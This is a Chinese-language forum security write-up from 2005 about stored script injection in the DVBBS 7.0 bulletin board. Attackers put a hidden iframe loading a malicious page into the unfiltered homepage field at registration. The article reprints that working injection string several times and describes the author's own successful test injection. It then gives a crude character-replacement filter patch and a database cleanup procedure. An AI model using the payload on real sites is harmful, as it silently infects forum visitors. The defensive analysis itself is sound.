终结动网最新挂马方法

作者:怪狗 华夏黑客同盟
注意:本文章仅作为技术研究之用,请勿用于非法用途,所造成得后果与本人无关!
一,发现

言归正传
在华夏黑客论坛 版主交流区发现 jijy 报告论坛被挂马,(在此感谢jijy为论坛做出的贡献)
http://bbs.77169.com/dispbbs_165_59990_1.html
这是最新的网页木马。心中一惊.没打补丁将会弹出帮助!当然的手提电脑是打了补丁的,当我打开此篇贴子之后,杀毒软件报警。

attachments/200507/02_134400_1.gif

细看此篇贴子,有一点不对地方,skyie用户上面都是||||| 这么会显示这样呢?
立刻 查看贴子源程序! 步骤:IE->查看->源文件
当时感觉就是用 IfRAME 来挂马的
查找 IfRAME 看见这些代码!
图一
attachments/200507/02_134424_2.jpg
<Script Language=JavaScript>
var actioninfo3='单帖屏蔽';document.write (dvbbs_show_topic('406806','165','残暴二丫','','','dhoihjon@no.com','</Script><IfRAME height=0 width=0 sRc="hTtp://qiniqnnana.4400.cn/"></IFrAME>|||||||||<Script Language=JavaScript>var actioninfo3=/'单帖屏蔽/'|||||||||','','Images/userface/image1.gif','<a href=http://www.77169.com><font color=red>【<b>华夏黑客同盟</b>】</font></a>:<a href=http://www.77169.com/pay/20041001.html><font color=green><b>一个月学会基本的黑客技术</b></font></a>','','','','<img src=Skins/Default/emot/em01.gif border=0 align=middle onmousewheel="return bbimg(this)" οnlοad="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;">','2005-6-29 4:29:22','face1.gif','202.105.138.114','59990',1,0,192360,2,'新手上路','','','13','2005-6-27','85','36','16','','1',0,'0','lvl01.gif',4,'2005-6-29 4:22:51','0',1,'tablebody2','0','0',''));
</Script>
细心的人已经发现了木马!
</Script><IfRAME height=0 width=0 sRc="hTtp://qiniqnnana.4400.cn/"></IFrAME>

大家注意看,残暴二丫 这个用户的问题,但是在回贴的子的时候看不到他的贴子,可是木马又发出去了怎么回事呢?

1,木马是怎么发上去的呢?
2,残暴二丫 回贴子的时候为什么看不见呢?
带着问题,我们接着分析一下!

二,分析
1,木马是怎么发上去的呢?
首先想到在后台查一下 残暴二丫的用户资料。
看到如图2

attachments/200507/02_134507_3.gif

主页这里代码
</Script><IfRAME height=0 width=0 sRc=" hTtp://qiniqnnana.4400.cn/"></IFrAME>
这回明白了,原来他是将代码写在主页这里呀!
难道说动网没有过滤?
于是
打开注册页面我注册一个用户试试!

如图3(点击查看大图)

attachments/200507/02_134529_4.gif

主页里,我写上
</Script><IfRAME height=0 width=0 sRc=" hTtp://77169.com/muma.html"></IFrAME>
竟然注册成功!跟个贴子,结果可能想而知了!就这么简单的让别人运行了我们的木马页面!

看来是reg.asp页面没过滤。
打开reg.asp(动网注册页面)查看源程序!

UserIM=checkreal(Request.form("homepage")) &"|||"& checkreal(Request.form("OICQ")) &"|||"& checkreal(Request.form("ICQ")) &"|||"& checkreal(Request.form("msn")) &"|||"& checkreal(Request.form("yahoo")) &"|||"& checkreal(Request.form("aim")) &"|||"& checkreal(Request.form("uc"))

分析动网数据库才明白 UserIM 是TEXT类型用来存储 主页,OICQ,ICQ,msn,yahoo,aim,uc
存储格式
主页|||OICQ|||ICQ|||msn|||yahoo|||aim|||uc

homepage 就是注册时的主页选项,(Request.form("homepage")) 从from表单得到数据
checkreal 是不是过滤呢,找到看了一下,不是过滤函数.
看来没有对 homepage 处理好!我们怎么解决一会说!

2,残暴二丫 回贴子的时候为什么看不见 呢?
分析代码,

<Script Language=JavaScript>
var actioninfo3='单帖屏蔽';document.write (dvbbs_show_topic('406806','165','残暴二丫','','','dhoihjon@no.com','</Script><IfRAME height=0 width=0 sRc=" hTtp://qiniqnnana.4400.cn/"></IFrAME>|||||||||<Script Language=JavaScript>var actioninfo3=/'单帖屏蔽/'|||||||||','','Images/userface/image1.gif','<a href=http://www.77169.com><font color=red>【<b>华夏黑客同盟</b>】</font></a>:<a href=http://www.77169.com/pay/20041001.html><font color=green><b>一个月学会基本的黑客技术</b></font></a>','','','','<img src=Skins/Default/emot/em01.gif border=0 align=middle onmousewheel="return bbimg(this)" οnlοad="javascript:if(this.width>screen.width-500)this.style.width=screen.width-500;">','2005-6-29 4:29:22','face1.gif','202.105.138.114','59990',1,0,192360,2,'新手上路','','','13','2005-6-27','85','36','16','','1',0,'0','lvl01.gif',4,'2005-6-29 4:22:51','0',1,'tablebody2','0','0',''));
</Script>
熟悉Script脚本的朋友都知道</Script>应当是结束代码
大家注意到没有,</Script>有两个,那个是结束标记呢?当然是最近的那个
所以,Script脚本到 </Script><IfRAME height=0 width=0 sRc=" hTtp://qiniqnnana.4400.cn/"></IFrAME> 这里就结束了,下面的没有执行所以不显示。

三,终结动网最新挂马方法
从分析步骤中可能看出是对 homepage 没有处理好!
下面我们写一个程序来处理一下 homepage 的输入!

大家再一下这个代码
 UserIM=checkreal(Request.form("homepage")) &"|||"& checkreal(Request.form("OICQ")) &"|||"& checkreal(Request.form("ICQ")) &"|||"& checkreal(Request.form("msn")) &"|||"& checkreal(Request.form("yahoo")) &"|||"& checkreal(Request.form("aim")) &"|||"& checkreal(Request.form("uc"))

都没处理。
一个一个变量去过滤太麻烦
我们直接对 UserIM 进入过滤就可以了!
在reg.asp 最下面加一个过滤函数
<%
function HTMLEncode2(fString)
fString=replace(fString,";","过滤")
fString=replace(fString,"<","过滤")
fString=replace(fString,">","过滤")
fString=replace(fString,"/","过滤")
fString=replace(fString,"--","过滤")
fString=replace(fString,"'","过滤")
fString=replace(fString," ","过滤")
fString=replace(fString,"%","过滤")
'fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode2=fString
end function
%>

接着reg.asp中用到 UserIM的有两处.
查找到 "UserIM=" 在这条语句之后加入一条语句
UserIM=HTMLEncode2(UserIM)
到此reg.asp文件过滤完了!
想想可能还有别的文件也用到了UserIM吧!
可能修改主页选项的应当有三处
1,注册的时候,
2,注册之后可以修改个人信息,
3,管理员在后台修改个人信息

补的方式也都一样,
modifyadd.asp 是修改个人信息时用的文件。相同的步骤
1,加上过滤函数
2,查找到 "UserIM=" 在这条语句之后加入一条语句
UserIM=HTMLEncode2(UserIM)
后台管理员修改个人信息那个就别管他了。

再想想,还有没有漏补的地方?
对了,在给文件打补丁之前有人已经发木马了!我只删除了一个用户,可能还有别的用户也有问题,而且不知道是那个用户,现在要不然等他再发贴子,看见了有木马再删除,这样太被动了。19万注册用户又不可能一个一个去查一下。

怎么办呢?

搜索一下有问题的用户删除!是个好办法。
SQL版的TEXT类型 直接用查询分析器查不出来,
下面我改写了一个程序,主要功能用来搜索TEXT类型的数据并替换它!

attachments/200507/02_134616_5.gif

例如

解决之前已经有问题的注册用户(就是已经将主页那改成 </Script><IfRAME height=0 width=0 sRc=" hTtp://XXXXX.com/"></IFrAME>的用户)



数据表名
dv_user
字段名
UserIM
其它条件
UserID>180000
将字符:
</Script><IfRAME
替换成:
11Script11IfRAME

点开始替换之后,显示替换6个成功!
看来注册了不少有问题的用户。
OK 到此问题已经解决!

已经打了补丁的两个文件下载:
补丁只能用于 DVBBS7.0 sp2SQL版
http://bbs.77169.com/UploadFile/2005-7/dvma1.zip
动网SQL数据库内容替换程序下载:
http://bbs.77169.com/UploadFile/2005-7/Replacedvbbsdb77169.zip
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值